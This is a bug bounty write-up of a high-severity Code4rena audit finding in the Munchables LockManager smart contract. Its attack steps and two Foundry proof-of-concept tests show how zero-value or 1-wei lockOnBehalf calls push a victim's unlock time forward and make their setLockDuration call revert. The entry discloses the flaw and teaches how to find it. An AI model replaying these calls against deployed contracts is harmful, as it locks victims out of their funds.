# Malicious User can call lockOnBehalf repeatedly extend a users unlockTime, removing their ability to withdraw previously locked tokens

Munchables LockManager.lockOnBehalf lacks access control, letting anyone reset a victim's unlockTime with a zero-value lock, indefinitely blocking withdrawals.

- Payout: Audit contest
- Severity: high
- Program: Munchables
- Found by: Circolors
- Disclosed: 2024-06-21
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-05-munchables-findings/issues/165
- Library page: https://bugbountylibrary.com/r/c4%3A2024-05-munchables%3AH-01
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic vuln:dos

**Target:** LockManager.lockOnBehalf / setLockDuration (Solidity contract)
**Root cause:** lockOnBehalf unconditionally sets lockedToken.unlockTime = block.timestamp + _lockDuration for the recipient, with no access control and no minimum _quantity, so any caller can push a victim's unlock time forward.
**Steps:**
1. Victim locks tokens via `lm.lock{value: 10 ether}(address(0), 10 ether)`; unlockTime set.
2. Attacker calls `lm.lockOnBehalf(address(0), 0, victim)` with zero quantity shortly before unlockTime.
3. unlockTime is reset to `block.timestamp + _lockDuration`, pushing withdrawal further out; repeat indefinitely.
4. Variant: attacker calls `lm.lockOnBehalf{value: 1}(address(0), 1, victim)` so victim's `setLockDuration(1 hours)` reverts with LockDurationReducedError.
**How found:** Code review of lockOnBehalf revealed it writes unlockTime for an arbitrary recipient without access control or minimum quantity, and interacts with setLockDuration's reduction check.
**Exploitation:** Attacker repeatedly calls lockOnBehalf with zero or 1 wei against a target address just before their unlockTime, resetting the lock duration each time and permanently denying withdrawal or lock-duration reduction, at no cost to the attacker.
**Insight:** When a deposit/credit function writes state on behalf of a recipient, check whether that state (unlock time, cooldowns, tiers) can be griefed by third parties with zero-value calls; also check interactions with setters that compare against that state.

## Proof of concept (copied exactly from the original report)

**Foundry test: lockOnBehalf extends victim unlockTime**

```
function test_lockOnBehalfExtendsRecipientsUnlockTime() public {
        // Alice locks 10 ether in the protocol
        vm.deal(alice, 10 ether);
        vm.startPrank(alice);
        amp.register(MunchablesCommonLib.Realm.Everfrost, address(0));
        lm.lock{value: 10 ether}(address(0), 10 ether);
        vm.stopPrank();

        ILockManager.LockedTokenWithMetadata[] memory locked = lm.getLocked(address(alice));
        uint256 firstUnlockTime = locked[0].lockedToken.unlockTime;
        console.log("Unlock Time Start:", firstUnlockTime);

        // Some time passes
        vm.warp(block.timestamp + 5 hours);

        // Bob makes a zero deposit "on behalf" of alice
        vm.startPrank(bob);
        lm.lockOnBehalf(address(0), 0, alice);

        ILockManager.LockedTokenWithMetadata[] memory lockedNow = lm.getLocked(address(alice));
        uint256 endUnlockTime = lockedNow[0].lockedToken.unlockTime;

        // Confirm Alice's unlock time has been pushed back by bobs deposit
        console.log("Unlock Time End  :", endUnlockTime);
        assert(endUnlockTime > firstUnlockTime);
    }
```

**Foundry test: lockOnBehalf griefs setLockDuration**

```
function test_lockOnBehalfGriefSetLockDuration() public {
        // Alice plans to call LockManager::setLockDuration to lower her min lock time to 1 hour
        vm.startPrank(alice);
        amp.register(MunchablesCommonLib.Realm.Everfrost, address(0));
        vm.stopPrank();

        // However Bob makes a 1 wei dontation lockOnBehalf beforehand
        vm.startPrank(bob);
        vm.deal(bob, 1);
        lm.lockOnBehalf{value: 1}(address(0), 1, alice);
        vm.stopPrank();


        // Now Alice's setter fails because her new duration is shorter than the `lockdrop.minDuration` set during bob's lockOnBehalf
        vm.startPrank(alice);
        vm.expectRevert();
        lm.setLockDuration(1 hours);
    }
```

